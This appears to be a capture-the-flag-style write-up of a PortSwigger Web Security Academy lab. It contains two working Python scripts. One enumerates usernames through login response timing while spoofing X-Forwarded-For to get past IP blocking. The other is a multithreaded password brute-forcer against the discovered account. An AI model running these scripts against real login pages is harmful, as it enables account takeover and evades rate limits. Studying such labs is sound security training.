
import requests
import random
import time
import os
from tabulate import tabulate
url = "https://0aa50044042123c680e2675500260041.web-security-academy.net/login"
cookies = {"session": "YE9qNzilUya1Zf5AKAck6aFPIijORDZb"}
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "https://0aa50044042123c680e2675500260041.web-security-academy.net",
"Referer": "https://0aa50044042123c680e2675500260041.web-security-academy.net/login",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Connection": "keep-alive",
"Te": "trailers"
}
def random_ip():
return ".".join(str(random.randint(0, 255)) for _ in range(4))
with open("users.txt", "r") as f:
usernames = [line.strip() for line in f if line.strip()]
# Store results for table
table = []
for username in usernames:
headers["X-Forwarded-For"] = random_ip()
data = {"username": username, "password": "pasfefsevjfsebnviusejbvsekulbvseivyusevsekujvbesvisebvesiyvgsefguisebfiusefghseiufbsnevpiusebviseuvbesifgyuesfpviseubvs"}
start = time.time()
response = requests.post(url, headers=headers, cookies=cookies, data=data)
elapsed_ms = int((time.time() - start) * 1000)
table.append([headers["X-Forwarded-For"], username, f"{elapsed_ms} ms"])
# Clear terminal and print table
os.system("clear") # use "cls" if on Windows
print(tabulate(table, headers=["X-Forwarded-For", "Username", "Response Time"], tablefmt="grid"))We had to change the X-Forwarded-For header for each request to bypass the IP block.
+-------------------+----------------+-----------------+
| 239.117.8.7 | ads | 678 ms |
+-------------------+----------------+-----------------+
| 141.190.119.16 | adserver | 699 ms |
+-------------------+----------------+-----------------+
| 195.26.178.65 | adsl | 688 ms |
+-------------------+----------------+-----------------+
| 116.52.64.211 | ae | 1465 ms |
+-------------------+----------------+-----------------+
| 126.239.143.145 | af | 681 ms |
+-------------------+----------------+-----------------+
| 228.37.213.184 | affiliate | 712 ms |
+-------------------+----------------+-----------------+
| 53.165.103.31 | affiliates | 677 ms |
+-------------------+----------------+-----------------+
| 163.249.124.242 | afiliados | 692 ms |
+-------------------+----------------+-----------------+
| 222.90.171.79 | ag | 682 ms |
User ae had a bit too much response time.
#!/usr/bin/env python3
import requests, random, time, os, sys
from concurrent.futures import ThreadPoolExecutor, as_completed
from threading import Lock
try:
from tabulate import tabulate
HAVE_TABULATE = True
except Exception:
HAVE_TABULATE = False
URL = "https://0aa50044042123c680e2675500260041.web-security-academy.net/login"
COOKIES = {"session": "YE9qNzilUya1Zf5AKAck6aFPIijORDZb"}
BASE_HEADERS = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "https://0aa50044042123c680e2675500260041.web-security-academy.net",
"Referer": "https://0aa50044042123c680e2675500260041.web-security-academy.net/login",
}
USERS = ["ae"]
PASSWORDS_FILE = "passwords.txt"
FAIL_STRING = "Invalid username or password."
WORKERS = 25
TIMEOUT = 10
SLEEP_BETWEEN = 0.0
lock = Lock()
results = {}
progress = {"total": 0, "done": 0, "attempts": 0, "start": time.time()}
def random_ip():
return ".".join(str(random.randint(0, 255)) for _ in range(4))
def clear():
os.system("cls" if os.name == "nt" else "clear")
def load_passwords(path):
with open(path, "r", encoding="utf-8", errors="ignore") as f:
return [l.strip() for l in f if l.strip()]
def print_table():
clear()
header = ["Username", "Status", "Password", "HTTP", "RT (ms)"]
rows = []
with lock:
for u, info in results.items():
rows.append([
u,
info.get("status", "not-tested"),
info.get("password", "") or "",
info.get("code", ""),
f"{info.get('rt_ms','')}"
])
total = progress["total"]
done = progress["done"]
attempts = progress["attempts"]
elapsed = time.time() - progress["start"]
summary = f"Total users: {total} | Done users: {done} | Attempts: {attempts} | Elapsed: {elapsed:.1f}s"
if HAVE_TABULATE:
print(tabulate(rows, headers=header, tablefmt="grid"))
else:
print(header)
for r in rows:
print(r)
print(summary)
def attempt_login(username, password):
headers = dict(BASE_HEADERS)
headers["X-Forwarded-For"] = random_ip()
data = {"username": username, "password": password}
start = time.time()
try:
r = requests.post(URL, headers=headers, cookies=COOKIES, data=data, timeout=TIMEOUT)
rt_ms = int((time.time() - start) * 1000)
return r.status_code, r.text, headers["X-Forwarded-For"], rt_ms
except Exception as e:
rt_ms = int((time.time() - start) * 1000)
return None, str(e), headers["X-Forwarded-For"], rt_ms
def worker_for_user(username, passwords):
with lock:
results.setdefault(username, {"status": "not-tested", "password": "", "code": "", "rt_ms": ""})
for p in passwords:
if results[username]["status"] == "found":
break
code, text, xff, rt = attempt_login(username, p)
with lock:
progress["attempts"] += 1
if code is None:
results[username].update({"status": "error", "password": p, "code": "", "rt_ms": rt})
else:
if FAIL_STRING not in text:
results[username].update({"status": "found", "password": p, "code": code, "rt_ms": rt})
else:
results[username].update({"status": "testing", "password": p, "code": code, "rt_ms": rt})
if results[username]["status"] == "found":
break
if SLEEP_BETWEEN:
time.sleep(SLEEP_BETWEEN)
with lock:
progress["done"] += 1
def main():
passwords = load_passwords(PASSWORDS_FILE)
progress["total"] = len(USERS)
for u in USERS:
results[u] = {"status": "not-tested", "password": "", "code": "", "rt_ms": ""}
executor = ThreadPoolExecutor(max_workers=WORKERS)
futures = []
for u in USERS:
futures.append(executor.submit(worker_for_user, u, passwords))
try:
last_print = 0
while any(f.running() for f in futures):
now = time.time()
if now - last_print >= 0.5:
print_table()
last_print = now
time.sleep(0.05)
for f in futures:
f.result()
except KeyboardInterrupt:
pass
print_table()
if __name__ == "__main__":
main()We then brute-forced the password and were able to log in and solve the lab.

